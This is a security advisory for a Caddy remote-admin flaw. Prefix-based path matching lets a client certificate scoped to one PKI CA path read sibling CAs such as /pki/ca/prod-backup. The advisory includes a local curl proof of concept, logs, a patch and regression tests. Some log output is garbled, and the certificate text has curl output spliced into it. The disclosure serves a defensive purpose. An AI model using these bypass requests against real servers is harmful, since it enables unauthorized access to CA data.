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GHSA-gx7w-56w6-g48x

MediumCVSS 4.3 / 10
Published May 19, 2026·Last modified May 19, 2026
Affected Components(0)

No affected components available

Description

AI Disclosure

I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with curl -v.

Summary

Caddy's remote admin access control performs path authorization using prefix matching:

  • admin.go: strings.HasPrefix(r.URL.Path, allowedPath)

This allows a client certificate authorized only for /pki/ca/prod to access sibling PKI resources whose paths merely share the same prefix, such as /pki/ca/prod-backup.

This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.

Affected Component

Remote admin access control for PKI admin endpoints.

Relevant code:

Root Cause

In RemoteAdmin.enforceAccessControls(), allowed paths are checked like this:

for _, allowedPath := range accessPerm.Paths {
	if strings.HasPrefix(r.URL.Path, allowedPath) {
		pathFound = true
		break
	}
}

This does not enforce a path-segment boundary.

So if the allowed path is:

/pki/ca/prod

then all of the following are treated as authorized:

  • /pki/ca/prod-backup
  • /pki/ca/prod1
  • /pki/ca/prodanything

For PKI admin endpoints, the CA ID is taken directly from the request path:

  • modules/caddypki/adminapi.go:164

So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.

Security Impact

A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.

This breaks least-privilege remote admin policies and results in authenticated authorization bypass.

Minimal Configuration

File: repro.json

  {
    "admin": {
      "listen": "127.0.0.1:2019",
      "identity": {
        "identifiers": ["localhost"],
        "issuers": [
          { "module": "internal" }
        ]
      },
      "remote": {
        "listen": "127.0.0.1:2021",
        "access_control": [
          {
            "public_keys": ["<CLIENT_CERT_BASE64_DER>"],
            "permissions": [
              {
                "methods": ["GET"],
                "paths": ["/pki/ca/prod"]
              }
            ]
          }
        ]
      }
    },
    "apps": {
      "pki": {
        "certificate_authorities": {
          "prod": {
            "name": "prod"
          },
          "prod-backup": {
            "name": "prod-backup"
          }
        }
      }
    }
  }

Reproduction Steps From Scratch

1. Generate a client certificate

  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
    -subj '/CN=remote-admin-client' \
    -keyout client.key \
    -out client.crt

2. Convert the client certificate to base64 DER

CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"

3. Put that value into repro.json

Replace:

<CLIENT_CERT_BASE64_DER>

with the value of CLIENT_CERT_B64.

4. Run Caddy

go run ./cmd/caddy run --config ./repro.json

5. Confirm access to the intended allowed path

  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod

Expected result:

  • HTTP/1.1 200 OK

6. Request a different CA whose path shares the same prefix

  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod-backup

Expected secure behavior:

  • HTTP/1.1 403 Forbidden

Actual behavior:

  • HTTP/1.1 200 OK

Precise HTTP Requests and Output

Allowed path

  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod

Response excerpt:

  > GET /pki/ca/prod HTTP/1.1
  > Host: localhost:2021
  > User-Agent: curl/8.5.0
  > Accept: */*
  >
  < HTTP/1.1 200 OK
  < Content-Type: application/json

Unauthorized sibling path that is incorrectly allowed

  curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert ./client.crt \
    --key ./client.key \
    https://localhost:2021/pki/ca/prod-backup

Response excerpt:

  > GET /pki/ca/prod-backup HTTP/1.1
  > Host: localhost:2021
  > User-Agent: curl/8.5.0
  > Accept: */*
  >
  < HTTP/1.1 200 OK
  < Content-Type: application/json

The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.

Full Log Output

sever :

root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json
2026/03/19 13:58:13.747	INFO	maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined
2026/03/19 13:58:13.747	INFO	GOMEMLIMIT is updated	{"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807}
2026/03/19 13:58:13.747	INFO	using config from file	{"file": "/caddy/repro.json"}
2026/03/19 13:58:13.757	INFO	admin	admin endpoint started	{"address": "127.0.0.1:2019", "enforce_origin": false, "origins": ["//localhost:2019", "//[::1]:2019", "//127.0.0.1:2019"]}
2026/03/19 13:58:13.757	WARN	pki.ca.prod	installing root certificate (you might be prompted for password)	{"path": "storage:pki/authorities/prod/root.crt"}
2026/03/19 13:58:13.757	INFO	warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again
2026/03/19 13:58:13.757	INFO	define JAVA_HOME environment variable to use the Java trust
2026/03/19 13:58:14.406	INFO	certificate installed properly in linux trusts
2026/03/19 13:58:14.406	WARN	pki.ca.prod-backup	installing root certificate (you might be prompted for password)	{"path": "storage:pki/authorities/prod-backup/root.crt"}
2026/03/19 13:58:14.407	INFO	warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again
2026/03/19 13:58:14.407	INFO	define JAVA_HOME environment variable to use the Java trust
2026/03/19 13:58:15.038	INFO	certificate installed properly in linux trusts
2026/03/19 13:58:15.045	INFO	admin.identity.cache.maintenance	started background certificate maintenance	{"cache": "0xc0006a4480"}
2026/03/19 13:58:15.046	INFO	admin.remote	secure admin remote control endpoint started	{"address": "127.0.0.1:2021"}
2026/03/19 13:58:15.046	INFO	admin.identity.obtain	acquiring lock	{"identifier": "localhost"}
2026/03/19 13:58:15.046	INFO	autosaved config (load with --resume flag)	{"file": "/root/.config/caddy/autosave.json"}
2026/03/19 13:58:15.046	INFO	serving initial configuration
2026/03/19 13:58:15.047	INFO	admin.identity.obtain	lock acquired	{"identifier": "localhost"}
2026/03/19 13:58:15.047	INFO	admin.identity.obtain	obtaining certificate	{"identifier": "localhost"}
2026/03/19 13:58:15.049	INFO	admin.identity.obtain	certificate obtained successfully	{"identifier": "localhost", "issuer": "local"}
2026/03/19 13:58:15.049	INFO	admin.identity.obtain	releasing lock	{"identifier": "localhost"}
2026/03/19 13:58:15.050	WARN	admin.identity	stapling OCSP	{"identifiers": ["localhost"]}
2026/03/19 13:59:36.896	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod", "remote_ip": "127.0.0.1", "remote_port": "40728", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/19 14:00:24.102	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "60490", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/19 14:00:33.774	INFO	admin.api	received request	{"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "46918", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}

curl :

root@dbdd95a60758:/caddy#   curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert /caddy/client.crt \
    --key /caddy/client.key \
    https://localhost:2021/pki/ca/prod
* Added localhost:2021:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
*   Trying 127.0.0.1:2021...
* Connected to localhost (127.0.0.1) port 2021
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: [NONE]
*  start date: Mar 19 13:58:15 2026 GMT
*  expire date: Mar 20 01:58:15 2026 GMT
*  issuer: CN=Caddy Local Authority - ECC Intermediate
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /pki/ca/prod HTTP/1.1
> Host: localhost:2021
> User-Agent: curl/8.5.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Type: application/json
< Date: Thu, 19 Mar 2026 13:59:36 GMT
< Content-Length: 1410
< 
{"id":"prod","name":"prod","root_common_name":"prod - 2026 ECC Root","intermediate_common_name":"prod - ECC Intermediate","root_certificate":"-----BEGIN CERTIFICATE-----\nMIIBgDCCASegAwIBAgIQc9RlUm1dn8xVrPjKdqtb/TAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0z\nNjAxMjYxMzU4MTNaMB8xHTAbBgNVBAMTFHByb2QgLSAyMDI2IEVDQyBSb290MFkw\nEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEC+L/zt5e1B08ebSd//MN2zkPZPIIe/8d\nAfdvLfaLpKXEDHdpMUkv+B1ZfJ5ADCKGHby7hMcOmNxd3dN2so2TvaNFMEMwDgYD\nVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFEjO3f/T\ngS+YsLBLu5qoAfzrButkMAoGCCqGSM49BAMCA0cAMEQCIFph9BmyT0EuWH+5FWaJ\nVI0RoHaSNe4YmKhCT0bxlOV/AiAVYjtkncsfNxnIoVtcRWebiKfX4neEAvp6zy/m\n4LabLA==\n-----END CERTIFICATE-----\n","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nMIIBpjCCAUugAwIBAgIQeDYa6T6mhf1UR2ZojWa/NjAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0y\nNjAzMjYxMzU4MTNaMCIxIDAeBgNVBAMTF3Byb2QgLSBFQ0MgSW50ZXJtZWRpYXRl\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQc* Connection #0 to host localhost left intact
DQgAEDvNEubxYmGliE/jZf+scF4ln9FGi\nKxGlIBy91xltHw85PZFoPUNYoXZc797RNE89XfPLNzcTmcQ36zAfibXkBaNmMGQw\nDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFORU\nKtaSzBJ30Yh6xLKBlF3NkXwyMB8GA1UdIwQYMBaAFEjO3f/TgS+YsLBLu5qoAfzr\nButkMAoGCCqGSM49BAMCA0kAMEYCIQCPsqN6  curl -vk \2CdQNYGrH10qYPhO\nMx19KoL/bQIhANyK3kmXwiQ2p6jEuVTIDxLJ1nC6JCDKWoSCXv/m+00Y\n-----END CERTIFICATE-----\n"}


root@dbdd95a60758:/caddy# 
root@dbdd95a60758:/caddy# 
root@dbdd95a60758:/caddy# 
root@dbdd95a60758:/caddy#   curl -vk \
    --resolve localhost:2021:127.0.0.1 \
    --cert /caddy/client.crt \
    --key /caddy/client.key \
    https://localhost:2021/pki/ca/prod-backup
* Added localhost:2021:127.0.0.1 to DNS cache
* Hostname localhost was found in DNS cache
*   Trying 127.0.0.1:2021...
* Connected to localhost (127.0.0.1) port 2021
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Request CERT (13):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Certificate (11):
* TLSv1.3 (OUT), TLS handshake, CERT verify (15):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: [NONE]
*  start date: Mar 19 13:58:15 2026 GMT
*  expire date: Mar 20 01:58:15 2026 GMT
*  issuer: CN=Caddy Local Authority - ECC Intermediate
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
*   Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* using HTTP/1.x
> GET /pki/ca/prod-backup HTTP/1.1
> Host: localhost:2021
> User-Agent: curl/8.5.0
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Type: application/json
< Date: Thu, 19 Mar 2026 14:00:33 GMT
< Content-Length: 1476
< 
{"id":"prod-backup","name":"prod-backup","root_common_name":"prod-backup - 2026 ECC Root","intermediate_common_name":"prod-backup - ECC Intermediate","root_certificate":"-----BEGIN CERTIFICATE-----\nMIIBjjCCATWgAwIBAgIQT1WaOdq8CllHL5S6sAnk8TAKBggqhkjOPQQDAjAmMSQw\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\nODEzWhcNMzYwMTI2MTM1ODEzWjAmMSQwIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIw\nMjYgRUNDIFJvb3QwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT0+xx/GaeAr+/I\nZcKDeqZ068wOshKbcqydNJauAgbip7i88d76qYyQr+X7ooMYcmRV445suZ0NHn00\ndGIjpStZo0UwQzAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBATAd\nBgNVHQ4EFgQU9oZZqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDRwAwRAIg\ncXbK46l4eAyrW3y9sgUBcheutkytG0d2cqgD67HuqdQCICI8E2O42zfz1afR/Joj\nalNeF17VljePo75gPjIOp5kv\n-----END CERTIFICATE-----\n","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nMIIBtDCCAVmgAwIBAgIQFJSHXX6ao3EgdKjGdRXeiDAKBggqhkjOPQQDAjAmMSQw\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\nODEzWhcNMjYwMzI2MTM1ODEzWjApMScwJQYDVQQDEx5wcm9kLWJhY* Connection #0 to host localhost left intact
2t1cCAtIEVD\nQyBJbnRlcm1lZGlhdGUwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAARbdjKxj1Ce\n4iCF1dbKGgsob9jH29DiUow/0yNJ6Cb7IBh0mAKK0y/nU+C6IfcFBgFOmla8wHhI\njyKVLy38Jb87o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB\nADAdBgNVHQ4EFgQUescC8F6u/krP+iw9Uc2FpqrorG0wHwYDVR0jBBgwFoAU9oZZ\nqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDSQAwRgIhANm2Zxrs2q6JI5B0\nmMh4PWJM9ilOu/0C/jTMSK3otqEqAiEAor00ItWkpcgLpXI4lRbefzeTM+f8yr6V\nXryCbtlyT38=\n-----END CERTIFICATE-----\n"}

Why This Is Not Just Misconfiguration

The configuration explicitly attempts to restrict access to:

/pki/ca/prod

The unsafe behavior is caused by Caddy's implementation using prefix matching instead of segment-aware matching. The product does not enforce the configured policy as written.

Suggested Fix

Path authorization should allow:

  • exact match, or
  • subpath match only when the next character is /

For example:

  func pathAllowed(reqPath, allowedPath string) bool {
  	if reqPath == allowedPath {
  		return true
  	}
  	return strings.HasPrefix(reqPath, allowedPath+"/")
  }

This preserves intended access to subresources like:

  • /pki/ca/prod/certificates

while correctly denying sibling resources like:

  • /pki/ca/prod-backup

Working Patch

  diff --git a/admin.go b/admin.go
  index 0000000..0000000 100644
  --- a/admin.go
  +++ b/admin.go
  @@ -716,8 +716,8 @@ func (remote RemoteAdmin) enforceAccessControls(r *http.Request) error {
   						// verify path
   						pathFound := accessPerm.Paths == nil
   						for _, allowedPath := range accessPerm.Paths {
  -							if strings.HasPrefix(r.URL.Path, allowedPath) {
  -								pathFound = true
  +							if r.URL.Path == allowedPath || strings.HasPrefix(r.URL.Path, allowedPath+"/") {
  +								pathFound = true
   								break
   							}
   						}

Why the Patch Works

The patch changes authorization from naive prefix matching to segment-aware matching.

This allows:

  • /pki/ca/prod
  • /pki/ca/prod/certificates

but denies:

  • /pki/ca/prod-backup
  • /pki/ca/prod1

which is consistent with the configured path policy.

Suggested Regression Tests

At minimum:

  1. Allow /pki/ca/prod, request /pki/ca/prod, expect allowed.
  2. Allow /pki/ca/prod, request /pki/ca/prod/certificates, expect allowed.
  3. Allow /pki/ca/prod, request /pki/ca/prod-backup, expect denied.
  4. Allow /pki/ca/prod, request /pki/ca/prod1, expect denied.
Risk Scores
Base Score
4.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information.

Threat Intelligence
4.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Medium severity
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